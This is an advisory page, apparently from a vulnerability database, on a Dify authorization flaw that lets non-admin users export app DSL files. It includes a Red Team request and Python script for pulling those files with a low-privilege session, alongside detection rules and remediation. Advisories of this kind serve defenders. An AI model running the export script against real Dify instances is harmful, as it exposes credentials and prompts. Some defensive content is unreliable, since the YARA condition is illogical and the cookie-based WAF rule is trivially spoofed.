CVE-2025-32790
Executive Summary
CVE-2025-32790 is a privilege escalation vulnerability in Dify, an open-source LLM app development platform. The flaw resides in the /export endpoint, which improperly grants normal (non-admin) users the ability to export Application DSL (Domain-Specific Language) files. This violates the intended access control, as only administrator users should have this permission. The vulnerability has a CVSS score of 6.3 (Medium) and affects versions 0.6.8 and prior. It is fixed in version 0.6.13. While no public proof-of-concept (PoC) or exploit code is available, the vulnerability is straightforward to exploit by any authenticated user with a low-privilege account.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
Dify is distributed as an open-source Python project via GitHub and Docker images. The vulnerability is not a supply chain attack but a code-level authorization flaw. Users should ensure they are pulling the latest patched version (0.6.13 or later) from official sources. No malicious packages or compromised dependencies have been reported in relation to this CVE.
CVSS Breakdown & Threat Level
- CVSS Score: 6.3 (Medium)
- Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
- Attack Vector: Network
- Attack Complexity: Low
- Privileges Required: Low (authenticated user)
- User Interaction: None
- Scope: Unchanged
- Confidentiality Impact: High (DSL files may contain sensitive configuration, API keys, or proprietary logic)
- Integrity Impact: None
- Availability Impact: None
Threat Level: Medium. The vulnerability allows unauthorized data exfiltration of application DSL files, which could contain sensitive information such as LLM prompts, model configurations, and integration secrets.
Deep Dive & Mechanics
The vulnerability exists in the /export endpoint of the Dify web application. The intended design is that only users with the admin role can export the Application DSL (a JSON/YAML file describing the app's configuration, workflows, and prompts). However, due to missing or insufficient authorization checks, any authenticated user (including those with the default normal role) can access this endpoint.
Root Cause: The server-side code does not validate the user's role before processing the export request. The endpoint likely checks for authentication but not for authorization (role-based access control).
Attack Scenario:
- An attacker registers or compromises a low-privilege user account on a Dify instance.
- The attacker sends a GET or POST request to
/exportwith the appropriate app ID. - The server returns the full DSL file, which may contain:
- LLM model API keys
- Custom prompt templates
- Workflow logic
- Integration credentials (e.g., for external APIs)
- The attacker exfiltrates this data for further exploitation or sale.
Vulnerable vs. Patched Code
Vulnerable Code (pre-0.6.13):
# Example of vulnerable endpoint (pseudocode)
@app.route('/export', methods=['GET'])
def export_app_dsl():
app_id = request.args.get('app_id')
# Missing role check
user = get_current_user()
if not user:
return unauthorized()
# Directly export without checking admin role
dsl = generate_dsl(app_id)
return dsl
Patched Code (0.6.13):
# Example of patched endpoint (pseudocode)
@app.route('/export', methods=['GET'])
def export_app_dsl():
app_id = request.args.get('app_id')
user = get_current_user()
if not user:
return unauthorized()
# Added role check
if user.role != 'admin':
return forbidden()
dsl = generate_dsl(app_id)
return dsl
The patch adds a simple role verification before processing the export. The exact implementation may vary, but the principle is consistent: only users with the admin role can access the endpoint.
Exploitation & Lab Setup
Red Team
Prerequisites:
- A running Dify instance (version 0.6.8 or earlier)
- A low-privilege user account (e.g.,
normalrole)
Exploitation Steps:
- Log in to the Dify web interface with the low-privilege account.
- Identify the app ID of a target application (e.g., from the URL or API).
- Send a request to the
/exportendpoint:GET /export?app_id=123 HTTP/1.1 Host: dify-instance.example.com Cookie: session=<your_session_cookie> - The server responds with the DSL file (JSON/YAML).
- Save the file and extract sensitive information.
Automated Script (Python):
import requests
target = "http://dify-instance.example.com"
session = requests.Session()
session.cookies.set("session", "<your_session_cookie>")
app_id = "123"
response = session.get(f"{target}/export?app_id={app_id}")
if response.status_code == 200:
with open("exported_dsl.json", "w") as f:
f.write(response.text)
print("DSL exported successfully.")
else:
print(f"Failed: {response.status_code}")
Blue Team
Detection:
- Monitor access logs for unusual requests to
/exportfrom non-admin users. - Alert on multiple export requests within a short time frame.
- Use the detection rules provided in the Detection Engineering section.
Hunting:
- Search for any user with
normalrole who has accessed the/exportendpoint. - Review exported DSL files for signs of exfiltration (e.g., large outbound data transfers).
Containment:
- Immediately revoke session tokens for any suspicious users.
- Apply the patch (upgrade to 0.6.13) or implement a WAF rule to block non-admin access to
/export.
Indicators of Compromise (IOCs)
- Network:
- HTTP requests to
/export?app_id=<number>from non-admin IPs - Unusual outbound data transfers containing JSON/YAML with "dsl" or "app" keywords
- HTTP requests to
- Logs:
- Access log entries showing
GET /exportwith a 200 status code for non-admin users - Application logs showing export actions by users with role != 'admin'
- Access log entries showing
- Files:
- Unexpected DSL files (e.g.,
app_dsl_*.json) on user workstations or in cloud storage
- Unexpected DSL files (e.g.,
Detection Engineering
YARA Rule
rule detect_dify_export_abuse {
meta:
description = "Detects unauthorized export of Dify DSL files"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-32790"
strings:
$dsl_export = "/export?app_id="
$dsl_content = "\"app\":"
$admin_only = "admin"
condition:
$dsl_export and $dsl_content and not $admin_only
}
Sigma Rule
title: Dify Unauthorized DSL Export
id: 8a4b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects attempts by non-admin users to export Dify DSL files
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: apache
service: access
detection:
selection:
cs-method: 'GET'
cs-uri-stem: '/export'
cs-uri-query: 'app_id=*'
condition: selection
falsepositives:
- Legitimate admin users (should be filtered by role)
level: medium
Suricata Rule
alert http any any -> any any (msg:"CVE-2025-32790 Dify Unauthorized DSL Export"; flow:to_server; content:"GET"; http_method; content:"/export"; http_uri; content:"app_id="; http_uri; classtype:attempted-recon; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate:
- Upgrade Dify to version 0.6.13 or later.
- If upgrade is not possible, implement a WAF rule to block non-admin access to
/export:location /export { if ($http_cookie !~* "role=admin") { return 403; } } - Review and rotate any secrets that may have been exposed via DSL exports.
Long-term:
- Enforce RBAC across all sensitive endpoints.
- Conduct a security audit of all API endpoints for missing authorization checks.
- Implement logging and monitoring for all export operations.
- Use the principle of least privilege for all user roles.
Valters IT